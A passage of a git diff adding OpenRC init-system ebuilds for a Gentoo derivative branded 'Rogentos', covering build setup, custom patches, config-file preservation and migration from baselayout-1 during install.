+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${ROOT}/etc/conf.d/net"
+		elog "after reviewing ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${ROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${ROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${ROOT}etc/local.d"
+		mv "${ROOT}"etc/conf.d/local.start "${ROOT}"etc/local.d/baselayout1.start
+		mv "${ROOT}"etc/conf.d/local.stop "${ROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${ROOT}"etc/local.d/*{start,stop}
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${ROOT}" = "/" ]] && "${ROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.8.3-r1.ebuild b/sys-apps/openrc/openrc-0.8.3-r1.ebuild
new file mode 100644
index 00000000..8d06e9bb
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.8.3-r1.ebuild
@@ -0,0 +1,459 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.8.3-r1.ebuild,v 1.5 2011/07/02 17:53:31 armin76 Exp $
+
+EAPI=4
+
+EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git"
+[[ ${PV} == "9999" ]] && SCM_ECLASS="git-2"
+inherit eutils flag-o-matic multilib toolchain-funcs ${SCM_ECLASS}
+unset SCM_ECLASS
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+if [[ ${PV} != "9999" ]] ; then
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm ~hppa ia64 m68k ~mips ~ppc ~ppc64 s390 sh sparc x86 ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam selinux unicode kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( sys-process/fuser-bsd )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( virtual/pam )
+	>=sys-apps/baselayout-2.0.0
+	kernel_linux? ( !<sys-apps/module-init-tools-3.2.2-r2 )
+	!<sys-fs/udev-133
+	!<sys-apps/sysvinit-2.86-r11"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+make_args() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS} LIBNAME=$(get_libdir) LIBEXECDIR=/$(get_libdir)/rc"
+	MAKE_ARGS="${MAKE_ARGS} MKOLDNET=yes"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogentos ${brand}"
+}
+
+pkg_setup() {
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+}
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	epatch "${FILESDIR}"/${P}-deprecation_warning.patch
+	epatch "${FILESDIR}"/${P}-ccwgroup.patch #367467
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config.patch"
+	epatch "${FILESDIR}/${PN}-enable-interactive.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-protect-rcsvcdir-for-symlink.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+}
+
+src_compile() {
+	make_args
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${D}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	make_args
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# install the readme for the new network scripts
+	dodoc README.newnet
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${D}"/$(get_libdir)/lib{einfo,rc}* "${D}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	keepdir /$(get_libdir)/rc/{init.d,tmp}
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${D}"/etc/runlevels "${D}"/usr/share/${PN} || die
+	rm -rf "${D}"/etc/runlevels
+
+	# Stick with "old" net as the default for now
+	doconfd conf.d/net || die
+	pushd "${D}"/usr/share/${PN}/runlevels/boot > /dev/null
+	rm -f network staticroute
+	ln -s /etc/init.d/net.lo net.lo
+	popd > /dev/null
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${D}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Rogentos customization, do not bug user with annoying updates (for now)
+	mv "${D}"/etc/conf.d/keymaps "${D}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${D}"/etc/conf.d/hwclock "${D}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e ${D}/etc/init.d/${initd} || -e ${ROOT}/etc/init.d/${initd} ]] \
+		|| return
+	[[ -e ${ROOT}/etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d ${ROOT}/etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${ROOT}"/etc/runlevels/${runlevel}
+		touch "${ROOT}"/etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${ROOT}"/etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${ROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${ROOT}"/${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e ${ROOT}/etc/conf.d/net ]] && cp "${ROOT}"/etc/conf.d/net "${D}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e ${ROOT}/etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${ROOT}"/etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${ROOT}/etc/conf.d/clock && ! -e ${ROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${ROOT}"/etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${ROOT}"/etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e ${ROOT}/etc/conf.d/clock ]] ; then
+		mv "${ROOT}"/etc/conf.d/clock "${ROOT}"/etc/conf.d/${clock}
+	fi
+	if [[ -e ${ROOT}/etc/init.d/clock ]] ; then
+		rm -f "${ROOT}"/etc/init.d/clock
+	fi
+	if [[ -L ${ROOT}/etc/runlevels/boot/clock ]] ; then
+		rm -f "${ROOT}"/etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}"/etc/runlevels/boot/${clock}
+	fi
+	if [[ -L ${ROOT}${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${ROOT}${LIBDIR}"/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}${LIBDIR}"/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e ${ROOT}/etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${ROOT}"/etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${D}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e ${ROOT}/sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e ${ROOT}/sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e ${ROOT}${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e ${ROOT}/etc/conf.d/rc ]] && source "${ROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d ${ROOT}${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${ROOT}${LIBDIR}/rc/init.d"
+			einfo "Moving state from ${ROOT}${svcdir} to ${ROOT}${LIBDIR}/rc/init.d"
+			mv "${ROOT}${svcdir}"/* "${ROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${ROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${ROOT}${LIBDIR}"/rc/init.d/console
+			umount "${ROOT}${svcdir}" 2>/dev/null
+			rm -rf "${ROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${ROOT}"/etc/modules.autoload.d/.keep*
+		rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${ROOT}"/etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${D}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${ROOT}"/etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	# Rogentos customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${ROOT}"/etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${ROOT}"/etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e ${ROOT}/etc/runlevels ]] || [[ -e ${ROOT}/etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${ROOT}"/usr/share/${PN}/runlevels "${ROOT}"/etc
+		rm -f "${ROOT}"/etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e ${ROOT}/etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/sysinit
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/sysinit/* \
+				"${ROOT}"/etc/runlevels/sysinit
+		fi
+		if [[ ! -e ${ROOT}/etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${ROOT}"/etc/runlevels/shutdown
+			cp -RPp "${ROOT}"/usr/share/${PN}/runlevels/shutdown/* \
+				"${ROOT}"/etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${ROOT}/etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${ROOT}/etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${ROOT}/etc/conf.d/net"
+		elog "after reviewing ${ROOT}/usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d ${ROOT}/etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${ROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${ROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${ROOT}etc/local.d"
+		mv "${ROOT}"etc/conf.d/local.start "${ROOT}"etc/local.d/baselayout1.start
+		mv "${ROOT}"etc/conf.d/local.stop "${ROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${ROOT}"etc/local.d/*{start,stop}
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${ROOT}" = "/" ]] && "${ROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.9.8.1.ebuild b/sys-apps/openrc/openrc-0.9.8.1.ebuild
new file mode 100644
index 00000000..713e29a1
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.9.8.1.ebuild
@@ -0,0 +1,457 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.9.8.1.ebuild,v 1.1 2012/01/14 20:27:59 williamh Exp $
+
+EAPI=4
+
+EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git"
+[[ ${PV} == "9999" ]] && SCM_ECLASS="git-2"
+inherit eutils flag-o-matic multilib pam toolchain-funcs ${SCM_ECLASS}
+unset SCM_ECLASS
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+if [[ ${PV} != "9999" ]] ; then
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~sparc-fbsd ~x86 ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam selinux static-libs unicode kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.0.0
+	kernel_linux? (
+		!<sys-apps/module-init-tools-3.2.2-r2
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-133
+	!<sys-apps/sysvinit-2.86-r11"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+make_args() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS} LIBNAME=$(get_libdir) LIBEXECDIR=/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogentos ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+}
+
+pkg_setup() {
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+}
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config.patch"
+	epatch "${FILESDIR}/${PN}-enable-interactive-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	# epatch "${FILESDIR}/${PN}-protect-rcsvcdir-for-symlink.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+}
+
+src_compile() {
+	make_args
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${D}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	make_args
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${D}"/$(get_libdir)/lib{einfo,rc}* "${D}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	keepdir /$(get_libdir)/rc/{init.d,tmp}
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${D}"/etc/runlevels "${D}"/usr/share/${PN} || die
+	rm -rf "${D}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${D}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Rogentos customization, do not bug user with annoying updates (for now)
+	mv "${D}"/etc/conf.d/keymaps "${D}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${D}"/etc/conf.d/hwclock "${D}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e ${D}/etc/init.d/${initd} || -e ${ROOT}/etc/init.d/${initd} ]] \
+		|| return
+	[[ -e ${ROOT}/etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d ${ROOT}/etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${ROOT}"/etc/runlevels/${runlevel}
+		touch "${ROOT}"/etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${ROOT}"/etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${ROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${ROOT}"/${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e ${ROOT}/etc/conf.d/net ]] && cp "${ROOT}"/etc/conf.d/net "${D}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e ${ROOT}/etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${ROOT}"/etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${ROOT}/etc/conf.d/clock && ! -e ${ROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${ROOT}"/etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${ROOT}"/etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e ${ROOT}/etc/conf.d/clock ]] ; then
+		mv "${ROOT}"/etc/conf.d/clock "${ROOT}"/etc/conf.d/${clock}
+	fi
+	if [[ -e ${ROOT}/etc/init.d/clock ]] ; then
+		rm -f "${ROOT}"/etc/init.d/clock
+	fi
+	if [[ -L ${ROOT}/etc/runlevels/boot/clock ]] ; then
+		rm -f "${ROOT}"/etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}"/etc/runlevels/boot/${clock}
+	fi
+	if [[ -L ${ROOT}${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${ROOT}${LIBDIR}"/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}${LIBDIR}"/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
